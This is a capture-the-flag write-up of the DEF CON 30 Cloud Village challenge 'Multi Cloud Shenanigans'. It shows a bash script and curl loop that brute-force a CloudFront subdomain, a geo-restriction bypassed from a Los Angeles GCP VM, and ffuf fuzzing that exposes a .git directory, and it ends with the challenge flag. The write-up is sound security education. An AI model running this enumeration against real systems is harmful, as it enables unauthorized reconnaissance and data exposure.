2022 Cloud Village CTF at DEF CON 30 - Multi Cloud Shenanigans
"Clair is a Google Cloud Administrator at PeopleBack Corp in California. Her company has acquired a product and to provide more availability to the customers they had to go multi-cloud setup.
The appication is not available to their customer outside California. Can you find the issue and get the content of the site?"
Hint
PeopleBackCorp recently acquired BeoShaft
From there, I browsed directly to https://github.com/BeoShaft and clicked through the small amount of contents in the repo until I saw this image:
I know from working with cloudfront a bit that this could be a solid lead. I went back to my account and counted the characters and saw that they were the same.
To figure out the values for "xxx," I used the following script to generate all possible combinations of lower case characters and numbers:
$ cat permute.sh
#!/bin/bash
charset=({a..z} {0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"
$ permute.sh 3 >> list.txt
$ wc -l list.txt
46656 list.txt
$ for i in $(<list.txt);do echo >>results.txt && echo $i >> results.txt && curl -SI https://dc5vf5almy$i.cloudfront.net/ >>results.txt;done
Once this was finished, I looked at results.txt where I saw only one 403:
sbn
HTTP/2 403
I struggled more than I'd like to admit here; seeing how I had a similar experience with last year's "Sweating It Out" challenge. But, I realized I was targeting an AWS URL from an AWS instance and that the challenge was called "Multi Cloud Shenanigans."
So I switched over to GCP and I sent a request from a VM in the Los Angelas region, and then I was able to successfully connect to the target site.
Ultimately, I used ffuf to perform content discovery:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0-dev
________________________________________________
:: Method : GET
:: URL : https://dc5vf5almysbn.cloudfront.net/FUZZ
:: Wordlist : FUZZ: SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
.git/config [Status: 200, Size: 150, Words: 14, Lines: 9, Duration: 14ms]
.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 109ms]
.git/index [Status: 200, Size: 4450, Words: 27, Lines: 33, Duration: 150ms]
<SNIP>
Finally, I grep'd for the flag:
extract1/2-6a60b5b7d330906c2a152f619bdf4dbbbaf75013/pricing/index.html: <p class="mb-4">Let’s talk about your requirements over a call - FLAG-{hk04MwP7XrTlu9QGyYQ0BP3SMILDr3Bx}</p>